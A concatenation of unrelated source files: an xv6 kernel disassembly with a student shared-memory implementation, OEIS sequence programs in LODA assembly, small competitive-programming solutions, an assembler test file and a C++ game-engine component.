80106a20 <setupkvm+0x30> 80106a54: 89 f0 mov %esi,%eax } 80106a56: 83 c4 20 add $0x20,%esp 80106a59: 5b pop %ebx 80106a5a: 5e pop %esi 80106a5b: 5d pop %ebp 80106a5c: c3 ret 80106a5d: 8d 76 00 lea 0x0(%esi),%esi freevm(pgdir); 80106a60: 89 34 24 mov %esi,(%esp) 80106a63: e8 08 ff ff ff call 80106970 <freevm> } 80106a68: 83 c4 20 add $0x20,%esp return 0; 80106a6b: 31 c0 xor %eax,%eax } 80106a6d: 5b pop %ebx 80106a6e: 5e pop %esi 80106a6f: 5d pop %ebp 80106a70: c3 ret 80106a71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106a78: 31 c0 xor %eax,%eax 80106a7a: eb da jmp 80106a56 <setupkvm+0x66> 80106a7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106a80 <kvmalloc>: { 80106a80: 55 push %ebp 80106a81: 89 e5 mov %esp,%ebp 80106a83: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106a86: e8 65 ff ff ff call 801069f0 <setupkvm> 80106a8b: a3 a4 54 11 80 mov %eax,0x801154a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 80106a90: 05 00 00 00 80 add $0x80000000,%eax 80106a95: 0f 22 d8 mov %eax,%cr3 } 80106a98: c9 leave 80106a99: c3 ret 80106a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106aa0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106aa0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106aa1: 31 c9 xor %ecx,%ecx { 80106aa3: 89 e5 mov %esp,%ebp 80106aa5: 83 ec 18 sub $0x18,%esp pte = walkpgdir(pgdir, uva, 0); 80106aa8: 8b 55 0c mov 0xc(%ebp),%edx 80106aab: 8b 45 08 mov 0x8(%ebp),%eax 80106aae: e8 ad f8 ff ff call 80106360 <walkpgdir> if(pte == 0) 80106ab3: 85 c0 test %eax,%eax 80106ab5: 74 05 je 80106abc <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106ab7: 83 20 fb andl $0xfffffffb,(%eax) } 80106aba: c9 leave 80106abb: c3 ret panic("clearpteu"); 80106abc: c7 04 24 32 78 10 80 movl $0x80107832,(%esp) 80106ac3: e8 98 98 ff ff call 80100360 <panic> 80106ac8: 90 nop 80106ac9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ad0 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106ad0: 55 push %ebp 80106ad1: 89 e5 mov %esp,%ebp 80106ad3: 57 push %edi 80106ad4: 56 push %esi 80106ad5: 53 push %ebx 80106ad6: 83 ec 2c sub $0x2c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106ad9: e8 12 ff ff ff call 801069f0 <setupkvm> 80106ade: 85 c0 test %eax,%eax 80106ae0: 89 45 e0 mov %eax,-0x20(%ebp) 80106ae3: 0f 84 ba 00 00 00 je 80106ba3 <copyuvm+0xd3> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106ae9: 8b 45 0c mov 0xc(%ebp),%eax 80106aec: 85 c0 test %eax,%eax 80106aee: 0f 84 a4 00 00 00 je 80106b98 <copyuvm+0xc8> 80106af4: 31 db xor %ebx,%ebx 80106af6: eb 51 jmp 80106b49 <copyuvm+0x79> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106af8: 81 c7 00 00 00 80 add $0x80000000,%edi 80106afe: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b05: 00 80106b06: 89 7c 24 04 mov %edi,0x4(%esp) 80106b0a: 89 04 24 mov %eax,(%esp) 80106b0d: e8 1e d8 ff ff call 80104330 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) 80106b12: 8b 45 e4 mov -0x1c(%ebp),%eax 80106b15: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx 80106b1b: 89 54 24 0c mov %edx,0xc(%esp) 80106b1f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b26: 00 80106b27: 89 5c 24 04 mov %ebx,0x4(%esp) 80106b2b: 89 44 24 10 mov %eax,0x10(%esp) 80106b2f: 8b 45 e0 mov -0x20(%ebp),%eax 80106b32: 89 04 24 mov %eax,(%esp) 80106b35: e8 16 fa ff ff call 80106550 <mappages> 80106b3a: 85 c0 test %eax,%eax 80106b3c: 78 45 js 80106b83 <copyuvm+0xb3> for(i = 0; i < sz; i += PGSIZE){ 80106b3e: 81 c3 00 10 00 00 add $0x1000,%ebx 80106b44: 39 5d 0c cmp %ebx,0xc(%ebp) 80106b47: 76 4f jbe 80106b98 <copyuvm+0xc8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106b49: 8b 45 08 mov 0x8(%ebp),%eax 80106b4c: 31 c9 xor %ecx,%ecx 80106b4e: 89 da mov %ebx,%edx 80106b50: e8 0b f8 ff ff call 80106360 <walkpgdir> 80106b55: 85 c0 test %eax,%eax 80106b57: 74 5a je 80106bb3 <copyuvm+0xe3> if(!(*pte & PTE_P)) 80106b59: 8b 30 mov (%eax),%esi 80106b5b: f7 c6 01 00 00 00 test $0x1,%esi 80106b61: 74 44 je 80106ba7 <copyuvm+0xd7> pa = PTE_ADDR(*pte); 80106b63: 89 f7 mov %esi,%edi flags = PTE_FLAGS(*pte); 80106b65: 81 e6 ff 0f 00 00 and $0xfff,%esi 80106b6b: 89 75 e4 mov %esi,-0x1c(%ebp) pa = PTE_ADDR(*pte); 80106b6e: 81 e7 00 f0 ff ff and $0xfffff000,%edi if((mem = kalloc()) == 0) 80106b74: e8 37 b9 ff ff call 801024b0 <kalloc> 80106b79: 85 c0 test %eax,%eax 80106b7b: 89 c6 mov %eax,%esi 80106b7d: 0f 85 75 ff ff ff jne 80106af8 <copyuvm+0x28> goto bad; } return d; bad: freevm(d); 80106b83: 8b 45 e0 mov -0x20(%ebp),%eax 80106b86: 89 04 24 mov %eax,(%esp) 80106b89: e8 e2 fd ff ff call 80106970 <freevm> return 0; 80106b8e: 31 c0 xor %eax,%eax } 80106b90: 83 c4 2c add $0x2c,%esp 80106b93: 5b pop %ebx 80106b94: 5e pop %esi 80106b95: 5f pop %edi 80106b96: 5d pop %ebp 80106b97: c3 ret 80106b98: 8b 45 e0 mov -0x20(%ebp),%eax 80106b9b: 83 c4 2c add $0x2c,%esp 80106b9e: 5b pop %ebx 80106b9f: 5e pop %esi 80106ba0: 5f pop %edi 80106ba1: 5d pop %ebp 80106ba2: c3 ret return 0; 80106ba3: 31 c0 xor %eax,%eax 80106ba5: eb e9 jmp 80106b90 <copyuvm+0xc0> panic("copyuvm: page not present"); 80106ba7: c7 04 24 56 78 10 80 movl $0x80107856,(%esp) 80106bae: e8 ad 97 ff ff call 80100360 <panic> panic("copyuvm: pte should exist"); 80106bb3: c7 04 24 3c 78 10 80 movl $0x8010783c,(%esp) 80106bba: e8 a1 97 ff ff call 80100360 <panic> 80106bbf: 90 nop 80106bc0 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106bc0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106bc1: 31 c9 xor %ecx,%ecx { 80106bc3: 89 e5 mov %esp,%ebp 80106bc5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106bc8: 8b 55 0c mov 0xc(%ebp),%edx 80106bcb: 8b 45 08 mov 0x8(%ebp),%eax 80106bce: e8 8d f7 ff ff call 80106360 <walkpgdir> if((*pte & PTE_P) == 0) 80106bd3: 8b 00 mov (%eax),%eax 80106bd5: 89 c2 mov %eax,%edx 80106bd7: 83 e2 05 and $0x5,%edx return 0; if((*pte & PTE_U) == 0) 80106bda: 83 fa 05 cmp $0x5,%edx 80106bdd: 75 11 jne 80106bf0 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106bdf: 25 00 f0 ff ff and $0xfffff000,%eax 80106be4: 05 00 00 00 80 add $0x80000000,%eax } 80106be9: c9 leave 80106bea: c3 ret 80106beb: 90 nop 80106bec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106bf0: 31 c0 xor %eax,%eax } 80106bf2: c9 leave 80106bf3: c3 ret 80106bf4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106bfa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106c00 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106c00: 55 push %ebp 80106c01: 89 e5 mov %esp,%ebp 80106c03: 57 push %edi 80106c04: 56 push %esi 80106c05: 53 push %ebx 80106c06: 83 ec 1c sub $0x1c,%esp 80106c09: 8b 5d 14 mov 0x14(%ebp),%ebx 80106c0c: 8b 4d 0c mov 0xc(%ebp),%ecx 80106c0f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106c12: 85 db test %ebx,%ebx 80106c14: 75 3a jne 80106c50 <copyout+0x50> 80106c16: eb 68 jmp 80106c80 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106c18: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106c1b: 89 f2 mov %esi,%edx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106c1d: 89 7c 24 04 mov %edi,0x4(%esp) n = PGSIZE - (va - va0); 80106c21: 29 ca sub %ecx,%edx 80106c23: 81 c2 00 10 00 00 add $0x1000,%edx 80106c29: 39 da cmp %ebx,%edx 80106c2b: 0f 47 d3 cmova %ebx,%edx memmove(pa0 + (va - va0), buf, n); 80106c2e: 29 f1 sub %esi,%ecx 80106c30: 01 c8 add %ecx,%eax 80106c32: 89 54 24 08 mov %edx,0x8(%esp) 80106c36: 89 04 24 mov %eax,(%esp) 80106c39: 89 55 e4 mov %edx,-0x1c(%ebp) 80106c3c: e8 ef d6 ff ff call 80104330 <memmove> len -= n; buf += n; 80106c41: 8b 55 e4 mov -0x1c(%ebp),%edx va = va0 + PGSIZE; 80106c44: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx buf += n; 80106c4a: 01 d7 add %edx,%edi while(len > 0){ 80106c4c: 29 d3 sub %edx,%ebx 80106c4e: 74 30 je 80106c80 <copyout+0x80> pa0 = uva2ka(pgdir, (char*)va0); 80106c50: 8b 45 08 mov 0x8(%ebp),%eax va0 = (uint)PGROUNDDOWN(va); 80106c53: 89 ce mov %ecx,%esi 80106c55: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106c5b: 89 74 24 04 mov %esi,0x4(%esp) va0 = (uint)PGROUNDDOWN(va); 80106c5f: 89 4d e4 mov %ecx,-0x1c(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80106c62: 89 04 24 mov %eax,(%esp) 80106c65: e8 56 ff ff ff call 80106bc0 <uva2ka> if(pa0 == 0) 80106c6a: 85 c0 test %eax,%eax 80106c6c: 75 aa jne 80106c18 <copyout+0x18> } return 0; } 80106c6e: 83 c4 1c add $0x1c,%esp return -1; 80106c71: b8 ff ff ff ff mov $0xffffffff,%eax } 80106c76: 5b pop %ebx 80106c77: 5e pop %esi 80106c78: 5f pop %edi 80106c79: 5d pop %ebp 80106c7a: c3 ret 80106c7b: 90 nop 80106c7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106c80: 83 c4 1c add $0x1c,%esp return 0; 80106c83: 31 c0 xor %eax,%eax } 80106c85: 5b pop %ebx 80106c86: 5e pop %esi 80106c87: 5f pop %edi 80106c88: 5d pop %ebp 80106c89: c3 ret 80106c8a: 66 90 xchg %ax,%ax 80106c8c: 66 90 xchg %ax,%ax 80106c8e: 66 90 xchg %ax,%ax 80106c90 <shminit>: char *frame; int refcnt; } shm_pages[64]; } shm_table; void shminit() { 80106c90: 55 push %ebp 80106c91: 89 e5 mov %esp,%ebp 80106c93: 83 ec 18 sub $0x18,%esp int i; initlock(&(shm_table.lock), "SHM lock"); 80106c96: c7 44 24 04 94 78 10 movl $0x80107894,0x4(%esp) 80106c9d: 80 80106c9e: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106ca5: e8 b6 d3 ff ff call 80104060 <initlock> acquire(&(shm_table.lock)); 80106caa: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106cb1: e8 9a d4 ff ff call 80104150 <acquire> 80106cb6: b8 f4 54 11 80 mov $0x801154f4,%eax 80106cbb: 90 nop 80106cbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i< 64; i++) { shm_table.shm_pages[i].id =0; 80106cc0: c7 00 00 00 00 00 movl $0x0,(%eax) 80106cc6: 83 c0 0c add $0xc,%eax shm_table.shm_pages[i].frame =0; 80106cc9: c7 40 f8 00 00 00 00 movl $0x0,-0x8(%eax) shm_table.shm_pages[i].refcnt =0; 80106cd0: c7 40 fc 00 00 00 00 movl $0x0,-0x4(%eax) for (i = 0; i< 64; i++) { 80106cd7: 3d f4 57 11 80 cmp $0x801157f4,%eax 80106cdc: 75 e2 jne 80106cc0 <shminit+0x30> } release(&(shm_table.lock)); 80106cde: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106ce5: e8 56 d5 ff ff call 80104240 <release> } 80106cea: c9 leave 80106ceb: c3 ret 80106cec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106cf0 <shm_open>: int shm_open(int id, char **pointer) { 80106cf0: 55 push %ebp 80106cf1: 89 e5 mov %esp,%ebp 80106cf3: 57 push %edi 80106cf4: 56 push %esi 80106cf5: 53 push %ebx 80106cf6: bb f4 54 11 80 mov $0x801154f4,%ebx 80106cfb: 83 ec 2c sub $0x2c,%esp 80106cfe: 8b 75 08 mov 0x8(%ebp),%esi int i; //you write this acquire(&(shm_table.lock)); //prevent race condition 80106d01: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106d08: e8 43 d4 ff ff call 80104150 <acquire> struct proc* cp=myproc(); 80106d0d: e8 9e c9 ff ff call 801036b0 <myproc> 80106d12: 89 c7 mov %eax,%edi 80106d14: e9 91 00 00 00 jmp 80106daa <shm_open+0xba> 80106d19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cp->sz=PGROUNDUP(cp->sz+PGSIZE); } // if id not match else{ //id to VA shm_table.shm_pages[i].id=id; 80106d20: 89 33 mov %esi,(%ebx) 80106d22: 83 c3 0c add $0xc,%ebx //reset shm_table.shm_pages[i].frame=kalloc(); 80106d25: e8 86 b7 ff ff call 801024b0 <kalloc> memset(shm_table.shm_pages[i].frame,0,PGSIZE); 80106d2a: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106d31: 00 80106d32: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106d39: 00 80106d3a: 89 04 24 mov %eax,(%esp) shm_table.shm_pages[i].frame=kalloc(); 80106d3d: 89 43 f8 mov %eax,-0x8(%ebx) memset(shm_table.shm_pages[i].frame,0,PGSIZE); 80106d40: e8 4b d5 ff ff call 80104290 <memset> shm_table.shm_pages[i].refcnt=1; mappages(cp->pgdir, (char*)PGROUNDUP(cp->sz), PGSIZE, V2P(shm_table.shm_pages[i].frame), PTE_W|PTE_U); 80106d45: 8b 43 f8 mov -0x8(%ebx),%eax shm_table.shm_pages[i].refcnt=1; 80106d48: c7 43 fc 01 00 00 00 movl $0x1,-0x4(%ebx) mappages(cp->pgdir, (char*)PGROUNDUP(cp->sz), PGSIZE, V2P(shm_table.shm_pages[i].frame), PTE_W|PTE_U); 80106d4f: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 80106d56: 00 80106d57: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106d5e: 00 80106d5f: 05 00 00 00 80 add $0x80000000,%eax 80106d64: 89 44 24 0c mov %eax,0xc(%esp) 80106d68: 8b 07 mov (%edi),%eax 80106d6a: 05 ff 0f 00 00 add $0xfff,%eax 80106d6f: 25 00 f0 ff ff and $0xfffff000,%eax 80106d74: 89 44 24 04 mov %eax,0x4(%esp) 80106d78: 8b 47 04 mov 0x4(%edi),%eax 80106d7b: 89 04 24 mov %eax,(%esp) 80106d7e: e8 cd f7 ff ff call 80106550 <mappages> *pointer=(char*)PGROUNDUP(cp->sz); 80106d83: 8b 07 mov (%edi),%eax 80106d85: 8b 55 0c mov 0xc(%ebp),%edx 80106d88: 05 ff 0f 00 00 add $0xfff,%eax 80106d8d: 25 00 f0 ff ff and $0xfffff000,%eax 80106d92: 89 02 mov %eax,(%edx) cp->sz=PGROUNDUP(cp->sz+PGSIZE); 80106d94: 8b 07 mov (%edi),%eax 80106d96: 05 ff 1f 00 00 add $0x1fff,%eax 80106d9b: 25 00 f0 ff ff and $0xfffff000,%eax for(i=0; i<64; i++){ 80106da0: 81 fb f4 57 11 80 cmp $0x801157f4,%ebx cp->sz=PGROUNDUP(cp->sz+PGSIZE); 80106da6: 89 07 mov %eax,(%edi) for(i=0; i<64; i++){ 80106da8: 74 6d je 80106e17 <shm_open+0x127> if(shm_table.shm_pages[i].id==id){ 80106daa: 3b 33 cmp (%ebx),%esi 80106dac: 0f 85 6e ff ff ff jne 80106d20 <shm_open+0x30> mappages(cp->pgdir, (char*)PGROUNDUP(cp->sz), PGSIZE, V2P(shm_table.shm_pages[i].frame), PTE_W|PTE_U); 80106db2: 8b 43 04 mov 0x4(%ebx),%eax 80106db5: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 80106dbc: 00 80106dbd: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106dc4: 00 80106dc5: 05 00 00 00 80 add $0x80000000,%eax 80106dca: 89 44 24 0c mov %eax,0xc(%esp) 80106dce: 8b 07 mov (%edi),%eax 80106dd0: 05 ff 0f 00 00 add $0xfff,%eax 80106dd5: 25 00 f0 ff ff and $0xfffff000,%eax 80106dda: 89 44 24 04 mov %eax,0x4(%esp) 80106dde: 8b 47 04 mov 0x4(%edi),%eax 80106de1: 89 04 24 mov %eax,(%esp) 80106de4: e8 67 f7 ff ff call 80106550 <mappages> *pointer=(char*)PGROUNDUP(cp->sz); 80106de9: 8b 4d 0c mov 0xc(%ebp),%ecx shm_table.shm_pages[i].refcnt++; 80106dec: 83 43 08 01 addl $0x1,0x8(%ebx) 80106df0: 83 c3 0c add $0xc,%ebx *pointer=(char*)PGROUNDUP(cp->sz); 80106df3: 8b 07 mov (%edi),%eax 80106df5: 05 ff 0f 00 00 add $0xfff,%eax 80106dfa: 25 00 f0 ff ff and $0xfffff000,%eax 80106dff: 89 01 mov %eax,(%ecx) cp->sz=PGROUNDUP(cp->sz+PGSIZE); 80106e01: 8b 07 mov (%edi),%eax 80106e03: 05 ff 1f 00 00 add $0x1fff,%eax 80106e08: 25 00 f0 ff ff and $0xfffff000,%eax for(i=0; i<64; i++){ 80106e0d: 81 fb f4 57 11 80 cmp $0x801157f4,%ebx cp->sz=PGROUNDUP(cp->sz+PGSIZE); 80106e13: 89 07 mov %eax,(%edi) for(i=0; i<64; i++){ 80106e15: 75 93 jne 80106daa <shm_open+0xba> } } release(&(shm_table.lock)); 80106e17: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106e1e: e8 1d d4 ff ff call 80104240 <release> return 0; //added to remove compiler warning -- you should decide what to return } 80106e23: 83 c4 2c add $0x2c,%esp 80106e26: 31 c0 xor %eax,%eax 80106e28: 5b pop %ebx 80106e29: 5e pop %esi 80106e2a: 5f pop %edi 80106e2b: 5d pop %ebp 80106e2c: c3 ret 80106e2d: 8d 76 00 lea 0x0(%esi),%esi 80106e30 <shm_close>: int shm_close(int id) { 80106e30: 55 push %ebp 80106e31: 89 e5 mov %esp,%ebp 80106e33: 53 push %ebx 80106e34: 83 ec 14 sub $0x14,%esp 80106e37: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&(shm_table.lock)); //prevent the race condition 80106e3a: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106e41: e8 0a d3 ff ff call 80104150 <acquire> 80106e46: b8 fc 54 11 80 mov $0x801154fc,%eax 80106e4b: eb 12 jmp 80106e5f <shm_close+0x2f> 80106e4d: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < 64; i++){ if(shm_table.shm_pages[i].refcnt != 0){ if(shm_table.shm_pages[i].id==id){ 80106e50: 39 58 f8 cmp %ebx,-0x8(%eax) 80106e53: 74 43 je 80106e98 <shm_close+0x68> 80106e55: 83 c0 0c add $0xc,%eax for(i = 0; i < 64; i++){ 80106e58: 3d fc 57 11 80 cmp $0x801157fc,%eax 80106e5d: 74 25 je 80106e84 <shm_close+0x54> if(shm_table.shm_pages[i].refcnt != 0){ 80106e5f: 8b 10 mov (%eax),%edx 80106e61: 85 d2 test %edx,%edx 80106e63: 75 eb jne 80106e50 <shm_close+0x20> shm_table.shm_pages[i].refcnt--; } } else{ shm_table.shm_pages[i].id =0; 80106e65: c7 40 f8 00 00 00 00 movl $0x0,-0x8(%eax) 80106e6c: 83 c0 0c add $0xc,%eax shm_table.shm_pages[i].frame =0; 80106e6f: c7 40 f0 00 00 00 00 movl $0x0,-0x10(%eax) shm_table.shm_pages[i].refcnt =0; 80106e76: c7 40 f4 00 00 00 00 movl $0x0,-0xc(%eax) for(i = 0; i < 64; i++){ 80106e7d: 3d fc 57 11 80 cmp $0x801157fc,%eax 80106e82: 75 db jne 80106e5f <shm_close+0x2f> } } release(&(shm_table.lock)); 80106e84: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) 80106e8b: e8 b0 d3 ff ff call 80104240 <release> return 0; //added to remove compiler warning -- you should decide what to return } 80106e90: 83 c4 14 add $0x14,%esp 80106e93: 31 c0 xor %eax,%eax 80106e95: 5b pop %ebx 80106e96: 5d pop %ebp 80106e97: c3 ret shm_table.shm_pages[i].refcnt--; 80106e98: 83 ea 01 sub $0x1,%edx 80106e9b: 89 10 mov %edx,(%eax) 80106e9d: eb b6 jmp 80106e55 <shm_close+0x25>
; A228320: The Wiener index of the graph obtained by applying Mycielski's construction to the cycle graph C(n). ; 203,280,369,470,583,708,845,994,1155,1328,1513,1710,1919,2140,2373,2618,2875,3144,3425,3718,4023,4340,4669,5010,5363,5728,6105,6494,6895,7308,7733,8170,8619,9080,9553,10038,10535,11044,11565 add $0,6 mul $0,6 bin $0,2 div $0,3 sub $0,7
class Solution { public: int XXX(TreeNode* root) { int h=0; queue<TreeNode*>q; if(root) q.push(root); while(q.size()){ int len=q.size(); while(len--){ auto t=q.front(); q.pop(); if(t->left) q.push(t->left); if(t->right) q.push(t->right); } h++; } return h; } };
// unihernandez22 // https://open.kattis.com/problems/cudoviste // brute force #include<iostream> #include<string.h> #include<vector> #include<bits/stdc++.h> using namespace std; bool canApachurrar(vector<string> p, int i, int j) { return p[i][j] != '#' && p[i+1][j] != '#' && p[i][j+1] != '#' && p[i+1][j+1] != '#'; } int countApachurros(vector<string> p, int i, int j) { vector<char> olis = {p[i][j], p[i+1][j], p[i][j+1], p[i+1][j+1]}; return count(olis.begin(), olis.end(), 'X'); } int ans[5]; int main() { int r, c; cin >> r >> c; vector<string> p(r); for (int i = 0; i < r; i++) cin >> p[i]; for (int i = 0; i < r-1; i++) for (int j = 0; j < c-1; j++) if (canApachurrar(p, i, j)) ans[countApachurros(p, i, j)] += 1; for (int i = 0; i < 5; i++) cout << ans[i] << endl; }
; A243282: Partial sums of the characteristic function for A070003. ; 0,0,0,1,1,1,1,2,3,3,3,3,3,3,3,4,4,5,5,5,5,5,5,5,6,6,7,7,7,7,7,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,10,11,11,11,11,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,14,14,14,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,18 lpb $0 mov $2,$0 sub $0,1 seq $2,319988 ; a(n) = 1 if n is divisible by the square of its largest prime factor, 0 otherwise. add $1,$2 lpe mov $0,$1
# test various preprocessor directive edge cases !include "fake" !include fake !include fake" !include "fake !include !fake ! # constant redefinition const redef 4 const redef 4 # constants must be integers const non_integer_const non_integer_value # argument counts mov too many args gen test # too few args # conditions without associated instructions + - @ # fill up memory with too many instructions nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop
#include "stdafx.h" #include "BaseComponent.h" #include "GameObject.h" UINT BaseComponent::m_NextID{}; vector<BaseComponent*> BaseComponent::m_pAllComps{}; BaseComponent::BaseComponent() : m_pGameObject(nullptr), m_IsInitialized(false) {} void BaseComponent::RootInitialize(const GameContext& gameContext) { if(m_IsInitialized) return; Initialize(gameContext); AssignID(); m_IsInitialized = true; } TransformComponent* BaseComponent::GetTransform() const { #if _DEBUG if(m_pGameObject == nullptr) { Logger::LogWarning(L"BaseComponent::GetTransform() > Failed to retrieve the TransformComponent. GameObject is NULL."); return nullptr; } #endif return m_pGameObject->GetTransform(); } void BaseComponent::Serialize(YAML::Emitter & out) { UNREFERENCED_PARAMETER(out); } void BaseComponent::AssignID() { m_ID = m_NextID++; m_pAllComps.push_back(this); }
; A334659: Dirichlet g.f.: 1 / zeta(s-3). ; 1,-8,-27,0,-125,216,-343,0,0,1000,-1331,0,-2197,2744,3375,0,-4913,0,-6859,0,9261,10648,-12167,0,0,17576,0,0,-24389,-27000,-29791,0,35937,39304,42875,0,-50653,54872,59319,0,-68921,-74088,-79507,0,0,97336,-103823,0,0,0,132651,0,-148877 mov $1,$0 cal $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0. add $1,1 pow $1,3 mul $1,$0
; A174605: Partial sums of A011371. ; 0,0,1,2,5,8,12,16,23,30,38,46,56,66,77,88,103,118,134,150,168,186,205,224,246,268,291,314,339,364,390,416,447,478,510,542,576,610,645,680,718,756,795,834,875,916,958,1000,1046,1092,1139,1186,1235,1284,1334 mov $12,$0 mov $14,$0 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 lpb $0 div $0,2 add $1,$0 lpe add $13,$1 lpe mov $1,$13